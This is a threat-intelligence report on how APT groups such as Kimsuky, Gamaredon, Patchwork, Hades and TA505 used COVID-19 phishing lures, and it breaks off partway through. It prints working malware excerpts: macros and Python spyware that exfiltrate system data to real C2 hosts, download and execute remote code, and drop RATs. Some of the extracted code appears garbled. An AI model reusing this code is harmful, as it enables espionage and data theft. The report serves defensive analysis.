[comment]:<> (===START_PAGE 1===) {0}------------------------------------------------ # **APTs and COVID-19:How advanced persistent threats use the coronavirus as a lure** Malwarebytes Threat Intelligence April 2020 {1}------------------------------------------------ ## Table of contents | | | |-----------------------------------------------------|-----------| | Introduction:APT groups using COVID-19..... | 3 | | Template injection..... | 4 | | Kimsuky..... | 4 | | Gamaredon..... | 8 | | Malicious macros..... | 10 | | Kimsuky..... | 10 | | Konni (APT37)..... | 11 | | APT36..... | 13 | | Patchwork..... | 13 | | Hades..... | 15 | | TA505..... | 17 | | TA542..... | 19 | | Bitter..... | 19 | | Ocean Lotus..... | 19 | | RTF exploit..... | 20 | | Calypso Group..... | 20 | | Chinese actor (Winnti)..... | 21 | | Malicious LNK files..... | 22 | | Mustang Panada..... | 22 | | Higaisia..... | 23 | | Conclusion..... | 24 | | Sources..... | 24 | {2}------------------------------------------------ ## Introduction:APT groups using COVID-19 Coronavirus (COVID-19) has become a global pandemic, upending economies, livelihoods, schools and hospital systems—nearly every facet of everyday life has been touched.Such uncertainty and fear surrounding the virus and its impact represents a golden opportunity for threat actors to exploit the situation.By using social engineering tactics such as spam and spear phishing campaigns with COVID-19 as a lure, cybercriminals and threat actors increase the likelihood of successful attack. From late January on, several cybercriminal and state-sponsored groups have been doing just that, using coronavirus-themed phishing emails as their infection vector to gain a foothold on victim machines.Just like the coronavirus itself, China was the first target of Advanced Persistent Threat (APT) groups, and as the virus spread worldwide, so did the cyberattacks. Once their victims' attention was captured by social engineering, threat actors used various techniques to deploy malware, such as embedding macros in Microsoft documents attached to phishing emails or exploiting system or browser vulnerabilities to drop malicious software. In this paper, we provide an overview of several different APT groups using coronavirus as a lure, as well as a description of their varied attack vectors.We categorize the APT groups according to the technique they used to send spam or phishing emails:Template injection, Malicious macros, RTF exploits, and malicious LNK files. {3}------------------------------------------------ ## Template injection Template injection refers to a technique in which threat actors embed a script moniker in the lure document—usually a Microsoft Office document—that contains a link to a malicious Office template via an XML setting.Upon opening the document, the remote template is dropped and executed.Kimsuky and Gamaredon are examples of APTs using template injection. ### Kimsuky Kimsuky (also known as Velvet Chollima) is a North-Korean threat actor group that has been active since 2013 and is known to be behind the KHNP (Korea Hydro & Nuclear Power) cyber terrorism attacks of 2014¹.The group mainly targets Korean think tanks, DPRK/nuclear-related targets, and several US firms with the main goal of delivering malicious payloads to its targets and stealing web application accounts. Starting in early March 2020, Kimsuky began using spear phishing emails with COVID-19 in the subject line as its initial infection vector.The emails contain malicious documents weaponized with CVE-2017-0199².This vulnerability allows remote code execution by exploiting a flaw in the Microsoft Office OLE interface to deliver malware. Upon opening the document, a prompt asks victims to “enable content” to show information about the coronavirus. ![Screenshot of a Microsoft Word security warning dialog box.](d0baec9a9191662196c3f3be304ee01c_img.jpg) A screenshot of a Microsoft Word window showing a security warning.The title bar says "SECURITY WARNING:Macros have been disabled." The main text states:"Microsoft Word cannot show the contents, because some compatibility issues should be fixed.Please reopen the document with 'Enable Macros' option to show the contents, as shown below." Below this text are three buttons:"Learn about macros", "Enable Content", and "Do Not Open", with a "Disable Macros" link at the bottom. Screenshot of a Microsoft Word security warning dialog box. Figure 1:Malicious document used as a lure ![Screenshot of a Microsoft Word document with COVID-19 content.](ab5392ddbf4af970d4ef7bff2e4df925_img.jpg) A screenshot of a Microsoft Word document titled "F:\2019\1588\01\49ba\568\2019\6263d7fe5a\49386527\32126ad885015.docx - Word (Product Activation Failed)".The document contains text about COVID-19, including sections like "Dear Friends," "As COVID-19 intensifies in the United States and elsewhere, the North Korean response to the pandemic is fading from the headlines.However, RP1 is continuing to monitor the situation through regular contact with a wide range of information sources on recent developments.Our latest summary is below.", "Are there cases of COVID-19 in North Korea?", "Given the number of reported cases in China and South Korea, which border North Korea, it's hard to imagine that North Korea is dodging the COVID-19 bullet.North Korean officials have not reported cases of COVID-19, perhaps in part because of a lack of diagnostic capability; there is uncertainty among medical and humanitarian officials as to North Korea's capability to accurately test for the disease.", and "Is North Korea willing to accept international assistance to combat the COVID-19". Screenshot of a Microsoft Word document with COVID-19 content. Figure 2:Malicious document after enabling content After enabling the content, a script moniker “in word/\_rels/setting.xml.rels” is triggered and drops a Microsoft document template called web.dotm from the following url: **http://crphone.mireene.com/plugin/editor/Templates/normal.php?name=web** ![Screenshot of a text editor showing a XML file with a target URL.](8d5dd461d53a81859a9ae0d04d9bbaec_img.jpg) A screenshot of a text editor window showing a XML file named "word\_settings.xml".The file contains an XML structure with a `Target` attribute.The value of the `Target` attribute is "http://crphone.mireene.com/plugin/editor/Templates/normal.php?name=web".This URL is highlighted with a red rectangle. Screenshot of a text editor showing a XML file with a target URL. Figure 3:setting.xml.rels content {4}------------------------------------------------ The “web.dotm” has an embedded macro which is designed to target Mac users (Figure 4).This macro also runs on Windows OS, however, it only executes its main malicious functionality on a Mac.There is an “If statement” that checks the operating system and executes a remote Python script called “Secured.APP”. ``` 5 #If Mac Then 6 #If Win64 Then 7 | Private Declare PtrSafe Function popen Lib "libc.dylib" (ByVal command As String, ByVal mode As String) As Long 8 | 9 | Private Declare Function popen Lib "libc.dylib" (ByVal command As String, ByVal mode As String) As Long 10 | 11 #End If 12 13 Sub AutoOpen() 14 On Error GoTo eHandler 15 Application.ActiveWindow.View.Type = wdPrintView 16 ActiveDocument.Unprotect "1qaz2wsx#EDC" 17 Dim s As Shape 18 For Each s In ActiveDocument.Shapes 19 s.Fill.Solid 20 s.Delete 21 Next 22 Selection.WholeStory 23 Selection.Font.Hidden = False 24 Selection.Collapse 25 ActiveDocument.Save 26 27 #If Mac Then 28 cmd = "import urllib2;" 29 result = popen("python -c " & cmd & " & " & result) 30 #End If 31 32 eHandler:33 Exit Sub 34 End Sub ``` Figure 4:Malicious macro embedded in web.dotm Figure 5 shows the content of “Secured.APP”, which executes the second stage Python script.Based on the directory information provided in this script, it seems it is targeting users with Microsoft Office version 2016 or earlier. ``` import os; import posixpath; home_dir = posixpath.expandvars("$HOME"); normal_dotm = home_dir + "/../../../../Group Containers/UBF8T346G9.Office/User Content.localized/Templates.localized/normal.dotm" os.system("rm -f " + normal_dotm + ""); fd = os.open(normal_dotm,os.O_CREAT | os.O_RDWR); import urllib2; data = urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=normal')).read() os.write(fd, data); os.close(fd) exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v60')).read()) ``` Figure 5:Secured.APP {5}------------------------------------------------ The second payload, as depicted in Figure 7, is spyware that collects information by running several commands and sending the collected data to its C&C server.The main function is “SpyLoop”, which collects and sends device/user information in an infinite while loop. The list of collected information, stored in separate files (Figure 6), is as follows: - Architecture info - System info - Apple Pay - Audio - Bluetooth - Camera - External network info - Firewall - Hardware info - Language and region - List of running processes - List of installed Applications - List of files in Documents/Downloads/Desktop directory - List of volumes - List of users | ▼ | backup | -- | Folder | Today at 3:15 PM | |---|---------------|-----------|------------|------------------| | | arch.txt | 152 bytes | Plain Text | Today at 3:15 PM | | | documents.txt | 690 bytes | Plain Text | Today at 3:15 PM | | | basic.txt | 55 KB | Plain Text | Today at 3:15 PM | | | desktop.txt | 3 KB | Plain Text | Today at 3:15 PM | | | app.txt | 4 KB | Plain Text | Today at 3:15 PM | | | downloads.txt | 2 KB | Plain Text | Today at 3:15 PM | | | vol.txt | 117 bytes | Plain Text | Today at 3:15 PM | Figure 6:Content of collected information The directory is then compressed with a password (“doxujoiics0qei09213@#\$@”) and uploaded as a zip file in an http request as shown in Figure 7. {6}------------------------------------------------ ``` import os import posixpath import time import urllib2 import threading from urllib import * def CollectData(): #create work directory home_dir = os.path.expandvars("${HOME}") workdir = home_dir + "/c:/.../Group Containers/UBF8T346G9.Office/sync" os.system("mkdir -p " + workdir + "") #get architecture info os.system("python -c 'import platform;print(platform.uname())' >> " + workdir + "/arch.txt") #get systeminfo os.system("system_profiler -detailLevel basic >> " + workdir + "/basic.txt") #get process list os.system("ps -ax >> " + workdir + "/ps.txt") #get using app list os.system("ls -lrs/Applications >> " + workdir + "/app.txt") #get documents file list os.system("ls -lrs " + home_dir + "/documents" >> " + workdir + "/documents.txt") #get downloads file list os.system("ls -lrs " + home_dir + "/downloads" >> " + workdir + "/downloads.txt") #get desktop file list os.system("ls -lrs " + home_dir + "/desktop" >> " + workdir + "/desktop.txt") #get volumes info os.system("ls -lrs/Volumes >> " + workdir + "/vol.txt") #get logged on user list os.system("w -l >> " + workdir + "/w_l.txt") #zip gathered informations zipname = home_dir + "/c:/.../Group Containers/UBF8T346G9.Office/backup.zip" os.system("rm -f " + zipname + "") zippass = "doujuojcsqe1092138#88" zipcmd = "zip -m -r " + zipname + " " + workdir + "" print(zipcmd) os.system(zipcmd) try: BODY = open(zipname, mode='rb').read() headers = {"User-Agent":"Mozilla/5.0 compatible:MSIE 10.0; Windows NT 6.1; WOW64; Trident/7.0", "Accept-Language":"en-US,en;q=0.9", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.8,image/webp,image/apng,*/*;q=0.8", "Content-Type":"multipart/form-data; boundary=-----7e222d1d50232"} ; boundary = "-----7e222d1d50232"; postData = "-----" + boundary + "\r\nContent-Disposition:form-data; name=\""MAX_FILE_SIZE\""\r\n\r\n1000000\r\n-----" + boundary + "\r\nContent-Disposition:form-data; name=\""file\""; filename=\""l.txt\""\r\nContent-Type:text/plain\r\n\r\n" + BODY + "\r\n-----" + boundary + "-----"; conn = HTTPConnection("crphone.mirene.com") conn.connect() conn.request("POST", "/plugin/editor/Templates/upload.php", postData, headers) conn.close() #delete zipped file os.system("rm -f " + zipname + "") except: print "error" def ExecNewCmd(): exec(urllib2.urlopen(urllib2.Request('http://crphone.mirene.com/plugin/editor/Templates/filedown.php?name=new')).read()) def SpyLoop(): while True: CollectData() ExecNewCmd() time.sleep(300) main_thread = threading.Thread(target=SpyLoop) main_thread.start() ``` Figure 7:Second Python script The next function in the loop is “ExecNewCommand”, which is likely used to download additional content.It then sleeps for five minutes and repeats the same process.At time of writing, it only responded with a “200 OK”. {7}------------------------------------------------ ### Gamaredon Gamaredon is a Russian APT that primarily performs cyber espionage operations against Ukrainian military forces, as well as individuals related to the Ukrainian government.Gamaredon has been active since 2013 and often uses spear phishing as its initial infection vector. Between March 23 and 25, Gamaredon sent phishing emails using the COVID-19 theme and employed remote template injection within their lure, a Microsoft Word document written in Russian.(Figure 8). Upon opening the document, a remote template is dropped from the link provided in the XML setting (Figure 9). We were not able to retrieve this template at time of publishing, but found other similar templates used by this APT days before this campaign and realized they are using similar malicious macros.Figure 10 shows an example of such a macro. Instead of executing the malicious behavior upon opening the document (using the “auto\_open” function), the malicious macro in this document is executed in the “Document\_close” function.This could be to bypass dynamic analysis if the document is not closed before the sandbox times out. The macro collects the computer name, home drive’s label/serial number, and BIOS information (using WMI) and sends it to a hardcoded C2 server with this format: **http://Server/ComputerName\_DriveSerialNumber/BiosVersionInfo** ![Screenshot of a Microsoft Word document in Compatibility Mode.The document is titled 'Визначництво "RIA"' and contains a form with fields for 'Identification code of legal entity' and 'Registered address'.Below the form, there is a section titled 'ЗАПИТ НА ІНФОРМАЦІЮ' (Request for information) with text about the COVID-19 pandemic and a link to 'tov-ria@i.ua'.](4dbddc2a60ea4ad6037f1f360ae0fea3_img.jpg) Screenshot of a Microsoft Word document in Compatibility Mode.The document is titled 'Визначництво "RIA"' and contains a form with fields for 'Identification code of legal entity' and 'Registered address'.Below the form, there is a section titled 'ЗАПИТ НА ІНФОРМАЦІЮ' (Request for information) with text about the COVID-19 pandemic and a link to 'tov-ria@i.ua'. Figure 8:Lure document ``` iANjD)" + vbCrlf xhbbd.Write "Loop" + vbCrlf xhbbd.Write "Function KpCFjuiAMb0" + vbCrlf xhbbd.Write "On Error Resume Next" + vbCrlf xhbbd.Write "Set FybvqG = CreateObject(MSXML2.XMLHTTP)" + vbCrlf xhbbd.Write "With FybvqG" + vbCrlf ``` Figure 10:Macro embedded in template The APT group then drops its custom backdoor “Pterodo” that is capable of downloading other malware variants and collecting sensitive information³. {9}------------------------------------------------ ## Malicious Macros Embedding malicious macros is the most popular method of infection used by APTs.In this attack vector, a macro is embedded in the lure document that will be activated upon its opening.In the following sections, we look at APTs using this method in their COVID-19 lure. ### Kimsuky In the previous section, we mentioned that Kimsuky is using template injection to infect Mac users.We also observed this actor using COVID-19-themed malicious macros to target Windows users mostly in South Korea⁴.(Figure 11): ![Screenshot of a Microsoft Word document titled '201911231053000000000000000000000000000000000000000000000000000000000000.docx - Word'.The document is in Korean and titled '코로나바이러스감염증-19 대책 회의' (COVID-19 Response Meeting).It contains a list of items under the heading '1.부산지역 현황 (2월 24일 09시)' (1.Busan area status (February 24, 9 AM)).The list includes:'o 부산지역 확진자:16명 (전국:602명)', 'o 부산시 공공문화체육시설 휴관:223(일) ~ 별도 안내 시 까지', and 'o 기장군의 소재 공공시설 휴관(도서관, 경로당, 복지회관, 청소년 수련관 등)'.The document is displayed in a standard word processing interface with a ribbon at the top.](e9b30aeb317ed964fa6de36804acf24c_img.jpg) Screenshot of a Microsoft Word document titled '201911231053000000000000000000000000000000000000000000000000000000000000.docx - Word'.The document is in Korean and titled '코로나바이러스감염증-19 대책 회의' (COVID-19 Response Meeting).It contains a list of items under the heading '1.부산지역 현황 (2월 24일 09시)' (1.Busan area status (February 24, 9 AM)).The list includes:'o 부산지역 확진자:16명 (전국:602명)', 'o 부산시 공공문화체육시설 휴관:223(일) ~ 별도 안내 시 까지', and 'o 기장군의 소재 공공시설 휴관(도서관, 경로당, 복지회관, 청소년 수련관 등)'.The document is displayed in a standard word processing interface with a ribbon at the top. Figure 11:Malicious document targeting Windows users {10}------------------------------------------------ The malicious macro is obfuscated, as shown in Figure 12: ``` Const wvfxmpquap = 0 Private Function uvvycgyhqtmt(ByVal zjkvoxjeyiqc As String) As String Dim tkwzgharcnkh As Long For tkwzgharcnkh = 1 To Len(zjkvoxjeyiqc) Step 2 uvvycgyhqtmt = uvvycgyhqtmt & Chr$(Val("4n" & Mid$(zjkvoxjeyiqc, tkwzgharcnkh, 2))) Next tkwzgharcnkh End Function Sub psjvjmtttn(kmsgjrsxteynvkzr As String) With CreateObject(uvvycgyhqtmt("5753637269")) & uvvycgyhqtmt("70742e5368656c6c").Run kmsgjrsxteynvkzr, wvfxmpquap, True End With End Sub Sub AutoOpen() With ActiveDocument.Background.Fill.ForeColor.RGB = RGB(255, 255, 255).Visible = msoTrue.Solid End With Selection.WholeStory Content = uvvycgyhqtmt("6d73687461120687474703a2f2f766e6578742e6d697265") & uvvycgyhqtmt( "656e656e6166632f7468656d652f62617369632f736b696e2f6d656d6265722f62617369632f75706c6f61642f7365617263682e697461202f666") Selection.Font.Hidden = False psjvjmtttn (Content) Selection.Collapse ActiveDocument.Save End Sub ``` Figure 12:Malicious obfuscated macro After de-obfuscating the script, we can see the value stored in the content variable as: "C:\Windows\System32\mshta.exe" http://nnext.mireene.com/theme/basic/skin/member/basic/upload/search.hta/f This uses “mshta” to execute a malicious search.hta file from its server.The content variable is then executed by Wscript.The “Search.hta” contains a script that downloads another script.The downloaded script is spyware that collects sensitive information, such as IP addresses, usernames, list of processes, RDP information, and Outlook information and sends it back to the server. ### Konni (APT37) Konni is a North Korean APT that has been active since 2012 and is known to target South Korean organizations in the chemicals, electronics, manufacturing, aerospace, automotive, and healthcare industries.In 2017, the group expanded its operations, targeting organizations in several other countries, such as the US, Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and countries in the Middle East.Recently, researchers found several communalities between this APT and Kimsuky, showing there is a close tie between these two groups⁵. Konni is known to use spear phishing emails, strategic web compromises, and torrent file-sharing sites to compromise its victims.In mid-March, they began sending spear phishes with COVID-19 warnings, ironically advising readers to watch out for North Korean cybercrime spikes related to the spread of the virus. Figure 13 shows the lure document, named “Keep an eye on North Korean cyber.doc”: ![Screenshot of a Microsoft Word document titled 'Keep an eye on North Korean cyber.doc' in Compatibility Mode.The document contains a headline 'Keep an eye on North Korean cyber-crime as the Covid-19 spreads' followed by several paragraphs of text discussing the COVID-19 pandemic's impact on the global economy and North Korea's response.The text mentions North Korea's borders closing, its media claims, and the potential for economic collapse.It also references Kim Jong-un and Jonathan Conrado, policy director for the Korea Society.The document is formatted with a standard Word interface including a ribbon with tabs like 'Home', 'Insert', 'Page Layout', 'Formulas', 'Data', 'Review', and 'View'.](475caf31ae90b878f12d651b689cc9d1_img.jpg) Screenshot of a Microsoft Word document titled 'Keep an eye on North Korean cyber.doc' in Compatibility Mode.The document contains a headline 'Keep an eye on North Korean cyber-crime as the Covid-19 spreads' followed by several paragraphs of text discussing the COVID-19 pandemic's impact on the global economy and North Korea's response.The text mentions North Korea's borders closing, its media claims, and the potential for economic collapse.It also references Kim Jong-un and Jonathan Conrado, policy director for the Korea Society.The document is formatted with a standard Word interface including a ribbon with tabs like 'Home', 'Insert', 'Page Layout', 'Formulas', 'Data', 'Review', and 'View'. Figure 13:Lure document {11}------------------------------------------------ The embedded macro in this document includes an encrypted executable code that is XOR decoded and stored in the “C:\Users\UserName\” directory (Figure 14).The dropped executable is a downloader for their popular Konni Remote Access Trojan (RAT) downloaded from⁶: [http://phpview\[.\]mygamesonline\[.\]org/3.dat](http://phpview.mygamesonline.org/3.dat) [illegible] Figure 14:Embedded macro {12}------------------------------------------------ ### APT36 APT36 is another threat group that has employed macro-embedded COVID-19 themes in their recent campaigns.The group is believed to be Pakistani state-sponsored, mainly targeting the defense, embassies, and government of India.⁷ Their coronavirus attacks began on March 12 and included phishing emails with attached malicious documents, which dropped Crimson RAT payloads on victim machines. ### Patchwork Patchwork, also known as Dropping Elephant, Chinastrats, APT-C-09, and Quilted Tiger, is an Indian threat actor that has been active since 2013.The primary targets of this APT are organizations related to diplomatic and government agencies in China, Japan, the Middle East, the UK, the US, Bangladesh, Sri Lanka, and Pakistan.Patchwork mainly uses spear phishing methods to gain access to victims' machines. In early February, Patchwork began sending phishing emails with a COVID-19 theme, using malicious Excel documents to target Chinese organizations (Figure 15). ![Screenshot of a Microsoft Excel spreadsheet titled 'Lure document'.The spreadsheet contains a form for a 'Wuhan Travel Information Collection Application' (武汉旅行信息收集申请表) in Chinese.The form includes fields for 'Personal Information' (人信息) and 'Information about the person you met' (你遇到的人的信息), with sub-fields for 'Name' (姓名) and 'Current Location' (当前位置).The document is displayed in a Windows environment with the Excel ribbon visible at the top.](eb22a8740f7c6a0f6ee98f16d99ed8b9_img.jpg) The image shows a Microsoft Excel window with a spreadsheet titled 'Lure document'.The spreadsheet is in Chinese and contains a form for a 'Wuhan Travel Information Collection Application' (武汉旅行信息收集申请表).The form includes a header with the logo of the National Health Commission of the People's Republic of China and the text '这是一个受保护的文档，点击“启用内容”以填写详细信息' (This is a protected document, click 'Enable Content' to fill in details).Below this, it says '请填写不适用并发送（如果需要）：' (Please fill in the applicable and send (if necessary):).The form is divided into two main sections:'人信息' (Personal Information) and '你遇到的人的信息' (Information about the person you met).Each section has two columns:'姓名' (Name) and '当前位置' (Current Location).The spreadsheet is displayed in a Windows environment with the Excel ribbon visible at the top. Screenshot of a Microsoft Excel spreadsheet titled 'Lure document'.The spreadsheet contains a form for a 'Wuhan Travel Information Collection Application' (武汉旅行信息收集申请表) in Chinese.The form includes fields for 'Personal Information' (人信息) and 'Information about the person you met' (你遇到的人的信息), with sub-fields for 'Name' (姓名) and 'Current Location' (当前位置).The document is displayed in a Windows environment with the Excel ribbon visible at the top. Figure 15:Lure document {13}------------------------------------------------ The embedded macro (Figure 17) is simple:It downloads a script from the URL embedded as a formula in column “X”, row “100”.(Figure 16). ![Screenshot of an Excel spreadsheet showing a formula in cell X100:http://45.153.184.67/window.sct.Cell X100 is highlighted with a red box, and another red box is at the bottom right of the grid.](78f163db583eb0c6d013e6f8ffe6d7d8_img.jpg) Screenshot of an Excel spreadsheet showing a formula in cell X100:http://45.153.184.67/window.sct.Cell X100 is highlighted with a red box, and another red box is at the bottom right of the grid. Figure 16:Url embedded in the cell ``` Private Declare PtrSafe Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByVal pszCmdLine As Any) As Long Sub XXXXXXXXXXXXXXX() DllInstall False, ByVal StrPtr(Sheet1.Range("X100").Value) End Sub Sub XXXXXXXXXXXXXXXXXXXXXXX() Sheet1.Unprotect "nhc_gover" XXXXXXXXXXXXX End Sub Sub Workbook_Open() XXXXXXXXXXXXXXXXXXXX End Sub ``` Figure 17:Macro The downloaded Scriptlet “window.scr” (Figure 18) is responsible for dropping and executing another payload, which is a custom backdoor developed by the actor. ``` ``` Figure 18 window.scr {14}------------------------------------------------ ### Hades Hades is the APT group behind the attack against the Pyeongchang Winter Olympics.Evidence suggests that this group is connected to the well-known Russian threat actor APT28⁸. In their recent campaign called Tricky Mouse, Hades targeted Ukrainian users using COVID-19 lures^{9, 10}.The attack started by sending a macro-embedded document to victims (Figure 19). The embedded macro (Figure 20) decodes and drops a RAT executable into the victim's machine. ![Screenshot of a Microsoft Word document titled 'Коронавірусна інфекція COVID-19' (Coronavirus Infection COVID-19) in Ukrainian.The document contains text about the COVID-19 pandemic, including statistics as of February 18, 2020, and information about the Diamond Princess cruise ship.The document is displayed in a Word window with the 'Macros' tab selected in the ribbon.](33809b11cc711711ebb7be1282fcd4b7_img.jpg) Screenshot of a Microsoft Word document titled 'Коронавірусна інфекція COVID-19' (Coronavirus Infection COVID-19) in Ukrainian.The document contains text about the COVID-19 pandemic, including statistics as of February 18, 2020, and information about the Diamond Princess cruise ship.The document is displayed in a Word window with the 'Macros' tab selected in the ribbon. Figure 19:Hades lure document ``` 244 Private Sub documentT_oPen() 245 Dim CEDA7D90PCD79C As Variant 246 Dim CBB34DB11F9765654 As Variant 247 For Each CEDA7D90PCD79C In ActiveDocument.Shares 248 If CEDA7D90PCD79C.Name = "Picture 59" Then 249 If CEDA7D90PCD79C.Visible = True Then 250 Application.ActiveDocument.Unprotect "!!!" 251 CEDA7D90PCD79C.Visible = False 252 Selection.WholeStory 253 Selection.Font.Color = -587137025 254 Dim CAXsgelG2jH5T, s6cBr6moNavkFl 255 Set CAXsgelG2jH5T = CreateObject(7ip7("4d6963726f736f66742584d4c444f4d")) 256 Set s6cBr6moNavkFl = CAXsgelG2jH5T.CREATEBeleMent(7ip7("6273")) 257 s6cBr6moNavkFl.DATMyEP = 7ip7("62696e2b626173653634") 258 s6cBr6moNavkFl.Text = mPcuUUSxtMscPkk 259 Dim MQdlIKzocDqb33 260 Set MQdlIKzocDqb33 = CreateObject(7ip7("41444f44422b53747265616d")) 261 MQdlIKzocDqb33.Type = 1 262 MQdlIKzocDqb33.Open 263 MQdlIKzocDqb33.write s6cBr6moNavkFl.NoDEtyFedvAUe 264 MQdlIKzocDqb33.SaveTofile Environ(7ip7("7573657470726f6669636565") & 7ip7("5c636f66686f73742e657865") & 7ip7("5c636f66686f73742e657865") & 7ip7("5c636f66686f73742e657865")), 7ip7("52786e"), ChdotNS, 7ip7("636d64422f6820") & Environ(7ip7("7573657470726f66696365") & 7ip7("5c636f66686f73742e657865")), IBzDmxfipo, fndhKaraYBetuJR 265 266 Selection.Collapse 267 End If 268 End Sub 269 270 Private Function mrbbyGSzwG11() 271 mrbbyGSzwG11 = True 272 End Function 273 Private Function fndhKaraYBetuJR() 274 fndhKaraYBetuJR = False 275 End Function 276 Private Function ChGoUN9() 277 ChGoUN9 = 1 278 End Function 279 Private Function IBzDmxfipo() 280 IBzDmxfipo = 0 281 ``` Figure 20:Embedded macro {15}------------------------------------------------ The RAT is dropped in the local user directory as “conhost.exe”.That RAT is a.NET executable obfuscated by “Eazfuscator.net” (Figure 21): ![Screenshot of IDA Pro showing assembly code for Hades RAT, including imports and class definitions.](662933fe00899933b36b5a214ac6095c_img.jpg) A screenshot of IDA Pro (v6.1.4) showing the assembly code for Hades RAT.The left pane displays the 'Assembly Explorer' with a tree view of the assembly structure, including 'conhost (0.0.0)', 'PE', 'Type References', 'Resources', and 'Base Type and Interfaces'.The right pane shows the assembly code for the 'u0002u2000' function.The code includes imports from 'System', 'System.Drawing', 'System.Drawing.Imaging', 'System.IO', and 'System.Security.Permissions'.It defines a public sealed class 'u0002u2000' with a constructor and a static method 'u0002'.The method 'u0002' is responsible for creating a bitmap, copying the screen, and saving it as a JPEG file.The code also includes a try-catch block to handle exceptions. Screenshot of IDA Pro showing assembly code for Hades RAT, including imports and class definitions. Figure 21:Hades RAT After de-obfuscation, we saw that the RAT had several functionalities, such as collecting system and user information, taking screenshots, and logging keystrokes. The “Kdaapk” module is responsible for performing C&C communications.The C&C URL is hardcoded within this module as you can see in Figure 22: ![Screenshot of IDA Pro showing the 'Kdaapk' class and its methods, including a hardcoded C&C URL.](a4d009d5dd6a4d83759d6d6538188e23_img.jpg) A screenshot of IDA Pro (v6.1.4) showing the assembly code for the 'Kdaapk' class.The left pane displays the 'Assembly Explorer' with a tree view of the assembly structure, including 'Kdaapk (0.0.0.0)', 'PE', 'Type References', 'Resources', and 'Base Type and Interfaces'.The right pane shows the assembly code for the 'Kdaapk' class.The code includes a constructor and several methods.A red box highlights a line of code where the C&C URL is hardcoded:'private string string\_2 = "https://cloud-security.apptt.ml";'.The code also includes a method 'u0002' that makes a POST request to the C&C server.The code also includes a try-catch block to handle exceptions. Screenshot of IDA Pro showing the 'Kdaapk' class and its methods, including a hardcoded C&C URL. Figure 22:Hades RAT after deobfuscation {16}------------------------------------------------ ### TA505 TA505 is an APT group that started its activity by distributing the Dridex banking Trojan on mass scale in 2014¹¹.The group is considered unique, as it's a financially-motivated team of threat actors that uses a wide variety of malware families. Starting on March 9th, TA505 used malicious macros in their COVID-19 themed documents, which included Microsoft Excel spreadsheets.Figure 23 show such a document after enabling its content: ![Figure 23:Lure document.A screenshot of a Microsoft Excel spreadsheet titled 'Microsoft Office Components'.The spreadsheet contains a large red 'Office' logo and a progress bar indicating 'Gathering required information...'.Below the logo, there are three numbered steps:1.Open the document in Microsoft Office.2.If this document was downloaded from your email, please click Enable Editing from the yellow bar above.3.Once you have enabled editing, please click Enable Content from the yellow bar above.The spreadsheet is displayed in a standard Excel window with a ribbon at the top.](6cc4a2d5ea0462e4825d57bd689bd2b3_img.jpg) Figure 23:Lure document.A screenshot of a Microsoft Excel spreadsheet titled 'Microsoft Office Components'.The spreadsheet contains a large red 'Office' logo and a progress bar indicating 'Gathering required information...'.Below the logo, there are three numbered steps:1.Open the document in Microsoft Office.2.If this document was downloaded from your email, please click Enable Editing from the yellow bar above.3.Once you have enabled editing, please click Enable Content from the yellow bar above.The spreadsheet is displayed in a standard Excel window with a ribbon at the top. Figure 23:Lure document As you can see in Figure 24, upon opening the document, a progress bar dialog box pops up (UserForm1\_show).The dialog box is used to confuse the user while the main malicious functionality is located in the popped-up dialog box activate function (Figure 25). ![Figure 24:Embedded macro.A screenshot of the Microsoft Visual Basic for Applications editor.The editor shows a VBA project with a module named 'Ssem'.The code is a macro that activates the UserForm1 form.The code includes a Private Sub Workbook_Activate() and a Public Sub治trase(dimmer As Long).The code is written in Visual Basic and includes several lines of code for displaying a progress bar and setting the UserForm1 form to be visible.The editor window also shows the Project Explorer on the left and the Properties window on the right.](c3ee41c6d46565ab4198d0a9c69108c5_img.jpg) Figure 24:Embedded macro.A screenshot of the Microsoft Visual Basic for Applications editor.The editor shows a VBA project with a module named 'Ssem'.The code is a macro that activates the UserForm1 form.The code includes a Private Sub Workbook\_Activate() and a Public Sub治trase(dimmer As Long).The code is written in Visual Basic and includes several lines of code for displaying a progress bar and setting the UserForm1 form to be visible.The editor window also shows the Project Explorer on the left and the Properties window on the right. Figure 24:Embedded macro {17}------------------------------------------------ When the dialog box is popped up, the “UserForm\_Activate()” function is executed, which calls “Nlgebredneh()” function: ``` Private Sub UserForm_Activate() DoEvents DoEvents NlgebrednehC DoEvents End Sub Private Sub UserForm_Initialize() Call KeyPropUpdate(Me, False) End Sub ``` Figure 25:Trigger function of the dialog box The “Nlgebredneh()” function drops “paper.xls” in the “%APPDATA%” temp directory and extracts “oleobject1.bin” from “paper.xls”.In the next step, it decrypts the content of “oleobject1.bin” into “reinforce.dll” in the “%APPDATA%/Microsoft/Windows/Templates” directory.Finally, it executes the DLL file. ``` Public Sub NlgebrednehC() Dim sendings As Integer ctackPap = UserForm6.TextBox1.Tag Dim ofbi As String ofbi = UserForm6.TextBox3.Tag + "\reinforce.dll" Dim CurrentSizeOfAT As Long ctackPap = Join(Array(UserForm6.TextBox1.Tag, "\paper.xls"), "") ctackPap = Join(Array(ctackPap, UserForm6.TextBox3.Value), "") ctackPip = Join(Array(ctackPap, ".zip"), "") PublicResumeEraseByArrayList ctackPap, ctackPip, ofbi VistaQ ctackPap fileCopy ctackPap, ctackPip sendings = 1 Dim sNMSP As New Shell If sendings > 0 And sendings > -30 Then Set FileWherePutTo2 = sNMSP.Namespace(ctackPap) Set FileWherePutTo = sNMSP.Namespace(ctackPip) FileWherePutTo2.CopyHere FileWherePutTo.Items.Item(UserForm6.Label111.Tag) End If CurrentSizeOfAT = 293376 If IsSecond Then CurrentSizeOfAT = 300000 + 33820 + 4 sendings = 2 End If Composition ctackPap & UserForm6.Label1.Tag, ofbi, CurrentSizeOfAT, sendings If sendings > 0 Then sendings = sendings + 1 CHDir (UserForm6.TextBox3.Tag) sendings = sendings + 1 End If If sendings < 100 Then sendings = sendings + 1 sendings = sendings + 1 End If PrepareConfigForOutput If sendings < 0 Then sendings = sendings + 1 sendings = sendings + 1 End If End Sub ``` Figure 26:The “Nlgebredneh” function The DLL file is a small downloader that decrypts the next payload into memory.The downloader drops additional malware families associated with TA505, such as banking Trojans and RATs. {18}------------------------------------------------ ### TA542 TA542 (Mummy Spider) is a Russian-speaking threat actor group behind the distribution of Emotet, which was first seen in the wild in 